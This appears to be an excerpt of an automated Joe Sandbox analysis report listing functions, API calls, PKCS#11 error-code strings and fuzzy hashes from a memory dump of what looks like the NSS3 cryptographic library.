winUnlockReadLock, xrefs: 6CB1AE9F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9d5c6141df156777075526bfccc43b544bc1d6b3f1d6d3fe129128c2f93a22c2
Instruction ID: ba5e5d1c874c3aed68d5111f32e59d2834d4c8ed4f0f79a70151ef7263fed795
Opcode Fuzzy Hash: 9d5c6141df156777075526bfccc43b544bc1d6b3f1d6d3fe129128c2f93a22c2
Instruction Fuzzy Hash: BA718C716082449FDB04CF28D890AAABBF5FF8A314F14CA2DF94997641D730A986CBC1

Function 6CBDED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CBDEE3D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 404708b8a357f206ee28b3404f8ca05e32947ce72b105b0d49d2c2c04dcd9def
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9971B172A017858BEB18CF59C88066EF7F2EB98304F16462DD85A97B91D770F940CB92

Function 6CB05F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CB06013

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 7de896fea6b7bc7bb051d542329f0ab1aa18edb81c7e55caa5923acd4d96e4e1
Instruction ID: 5ce93ee746764d6e8c112e7b3b2baa92e4ab3d4993e874e699b88cf22cbdaeeb
Opcode Fuzzy Hash: 7de896fea6b7bc7bb051d542329f0ab1aa18edb81c7e55caa5923acd4d96e4e1
Instruction Fuzzy Hash: D2C115B0B446C68BDB04CF19C4907AABFB6EF45318F288128DD95D7B42D734E885C796

Function 6CB14DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB15125

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: b7e63f48529989cee31d1409ad0f9f84a46d5f6e038ac546fa347a9d32b31ed2
Instruction ID: 7d245fd77587b0496c091c70cd3d50d00d8d8e1088c61bafb5d8d90642d46aa7
Opcode Fuzzy Hash: b7e63f48529989cee31d1409ad0f9f84a46d5f6e038ac546fa347a9d32b31ed2
Instruction Fuzzy Hash: CCE1F871A183408FDB44DF28D48465ABBF1FF8A319F118A2DF89997751E730E985CB82

Function 6CC95E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B90: PR_Lock.NSS3(00010000,?,00000000,?,6CB7DF9B), ref: 6CC95B9E
Part of subcall function 6CC95B90: PR_Unlock.NSS3 ref: 6CC95BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CC95E23,6CB7E154), ref: 6CC95EBF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9c8ca389eeba0cc296c971d0b3eaab98da7e8526e56d7de019f80693d52cebec
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: B7519E72E0021A8FCB18CF59C8815AEF3F2FF98314B19466DD816B7745E734A941CBA0

Function 6CC4DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c232b9710856bf9dc7f92e4c4b1aa5f2bbf75bce8562680bc943abe4ae855c7
Instruction ID: bddb4dba4395928c9b2dd45ef5000d9e1010902226a666ca0f54232eac67e816
Opcode Fuzzy Hash: 5c232b9710856bf9dc7f92e4c4b1aa5f2bbf75bce8562680bc943abe4ae855c7
Instruction Fuzzy Hash: 55F13971A012058FDB08DF59C490BAABBB2BF89314F29C16CD8199B751EB35ED42CBD1

Function 6CBE1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 44ec43e9f9c0193c015b457d547d8c7cd0e37a12df5d5f818a5912bfa6fb0033
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 5FD14B72D046968BDB118F18C8843DA7763AB89B68F2D4329DC641B7C6C37AD905C7D2

Function 6CB78EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e066d75b3ce7ebd9a284dd543d92249b9d3d32655331b9ef1484d327e257e1b7
Instruction ID: 99d594c28858db37b069705362ce553c135abed93b05895eeb1c8db5e184e9da
Opcode Fuzzy Hash: e066d75b3ce7ebd9a284dd543d92249b9d3d32655331b9ef1484d327e257e1b7
Instruction Fuzzy Hash: 86112732A002458FDB24DF15D88475AB7B6FF4231CF04466ADC259FA41C376E982C7E2

Function 6CC50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2102b81f89a9ee679ba0fb72b700f8f4f385332b7460c3b13555640728c69955
Instruction ID: bab24eb5030dd3f74e1930d287cd6011440ae8da3319761ed8c3388fa17f36b2
Opcode Fuzzy Hash: 2102b81f89a9ee679ba0fb72b700f8f4f385332b7460c3b13555640728c69955
Instruction Fuzzy Hash: 8E11C174B043458FCB00DF19C8C066A7BB2FF86368F14806DD8198B701EB31E826CBA5

Function 6CBC3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 77a18397a67b71ba77c4391720ff0cca5412731fb23fee10829696db4f9172ce
Instruction ID: 25c1c3ccebea511db89367759e86792b75a1fc382cd926b206f12f3fb99f6151
Opcode Fuzzy Hash: 77a18397a67b71ba77c4391720ff0cca5412731fb23fee10829696db4f9172ce
Instruction Fuzzy Hash: 75F05870A04B599BCB14DF68D4915DEB7F4EF09354F10962AEC8AAB301EB30AAC5C7C1

Function 6CC50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: f59975bfd429f9ab8a9550991e07c74ac25244889e28fdd531105eb5542a9af2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 2FE06D3A202454A7DB148E09C450AA97359EF8161DFE488B9CC59DBA01E633F8238785

Function 6CB7CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3cc294bc67aae4a3e91c536c666fc244498131ea429b8a9de8920d39153b698
Instruction ID: 8c024f9298df8eec632f0a17bc8d09b9be0972b8966fff53b9a1afc1291ecd41
Opcode Fuzzy Hash: a3cc294bc67aae4a3e91c536c666fc244498131ea429b8a9de8920d39153b698
Instruction Fuzzy Hash: 53C09238244708CFC744DF48E489DA43BF9FF0E61170400A4EA028B721DB31FD00CA80

Function 6CBB1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CBB1D46), ref: 6CBB2345

Strings

CKR_DEVICE_ERROR, xrefs: 6CBB229D
rv = 0x%x, xrefs: 6CBB2312
CKR_MUTEX_NOT_LOCKED, xrefs: 6CBB2225
CKR_STATE_UNSAVEABLE, xrefs: 6CBB2037
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CBB1F8B
CKR_BUFFER_TOO_SMALL, xrefs: 6CBB2183
CKR_OK, xrefs: 6CBB1DFC
CKR_PIN_EXPIRED, xrefs: 6CBB206B
CKR_WRAPPED_KEY_INVALID, xrefs: 6CBB1FB5
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CBB1F95
CKR_PIN_LOCKED, xrefs: 6CBB2075
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CBB2293, 6CBB233F
CKR_FUNCTION_CANCELED, xrefs: 6CBB1E73
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CBB218D
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CBB232E
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CBB20D9
CKR_INFORMATION_SENSITIVE, xrefs: 6CBB22B1
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CBB1F0F
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CBB2320
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CBB2319
CKR_PIN_INCORRECT, xrefs: 6CBB1D92
CKR_DEVICE_REMOVED, xrefs: 6CBB2261
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CBB226B
CKR_DEVICE_MEMORY, xrefs: 6CBB1FF3
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CBB2275
CKR_PIN_INVALID, xrefs: 6CBB2057
CKR_MUTEX_BAD, xrefs: 6CBB1F49
CKR_OPERATION_ACTIVE, xrefs: 6CBB22B8
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CBB204D
CKR_NEXT_OTP, xrefs: 6CBB222F
CKR_NEW_PIN_MODE, xrefs: 6CBB1E9F
CKR_SIGNATURE_INVALID, xrefs: 6CBB20CF
CKR_TOKEN_NOT_PRESENT, xrefs: 6CBB1F81
CKR_SAVED_STATE_INVALID, xrefs: 6CBB1E56
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CBB2179
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CBB1DE0
CKR_PIN_LEN_RANGE, xrefs: 6CBB2061
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CBB1EE1
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CBB2015
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CBB2327
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CBB227F
CKR_FUNCTION_REJECTED, xrefs: 6CBB2289
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CBB1FD7
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CBB22FF
rv = %s, xrefs: 6CBB2340
CKR_RANDOM_NO_RNG, xrefs: 6CBB22A7
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CBB1F77

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: eed305e0e4775284a2b9806f9977a5c205245277098ac44a960c3ddf17ba7ee1
Instruction ID: 1be338ca146c856b52b6f37ee8af6253c4209e4ec08250a34c81c81cda95f0bd
Opcode Fuzzy Hash: eed305e0e4775284a2b9806f9977a5c205245277098ac44a960c3ddf17ba7ee1
Instruction Fuzzy Hash: CE61ED20B4D0C4CEEA1C464C81AE37E3124EF06394F64817BE591FFE55EEB9CA825693

Function 6CBE5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CBE5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CBE5E5C
free.MOZGLUE(00000000), ref: 6CBE5E7E
free.MOZGLUE(00000000), ref: 6CBE5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CBE5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CBE5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CBE5EF0
free.MOZGLUE(00000000), ref: 6CBE5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CBE5F5B
free.MOZGLUE(00000000), ref: 6CBE5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CBE5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CBE5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBE5FC4
free.MOZGLUE(00000000), ref: 6CBE5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE5FE9
free.MOZGLUE(00000000), ref: 6CBE5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CBE605A
PR_smprintf.NSS3(6CCBAAF9,00000000), ref: 6CBE606A
free.MOZGLUE(00000000), ref: 6CBE607C
free.MOZGLUE(00000000), ref: 6CBE609A
free.MOZGLUE(00000000), ref: 6CBE60B2
free.MOZGLUE(?), ref: 6CBE60CE

Strings

%s/%s, xrefs: 6CBE6055
configDir=, xrefs: 6CBE5F9D
secmod.db, xrefs: 6CBE5EA0
pkcs11.txt, xrefs: 6CBE5F47, 6CBE5F7C, 6CBE603A, 6CBE6053
noModDB, xrefs: 6CBE5EEA
flags, xrefs: 6CBE5E3A, 6CBE5EC6, 6CBE5F30
readOnly, xrefs: 6CBE5E56
secmod=, xrefs: 6CBE5FB1
forceSecmodChoice, xrefs: 6CBE5F55

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 858d26c379799b4b9e68a624bcafe11096b9373e8796d7284881d3a6dd4a567a
Instruction ID: cf1fa3da4cbcd333374ca754610f3130fde158f513183e7189c09f79a4ce4153
Opcode Fuzzy Hash: 858d26c379799b4b9e68a624bcafe11096b9373e8796d7284881d3a6dd4a567a
Instruction Fuzzy Hash: 3D91E7F49042955BEF119F649C81BAA3BA8DF0DBC8F080060ED59DBB42E731D949C7A7

Function 6CB71D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CB71DA3

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CB71DB2

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
Part of subcall function 6CB71240: PR_Unlock.NSS3(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB712A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB71DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CB71E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CB71EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CB71ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CB71EEF
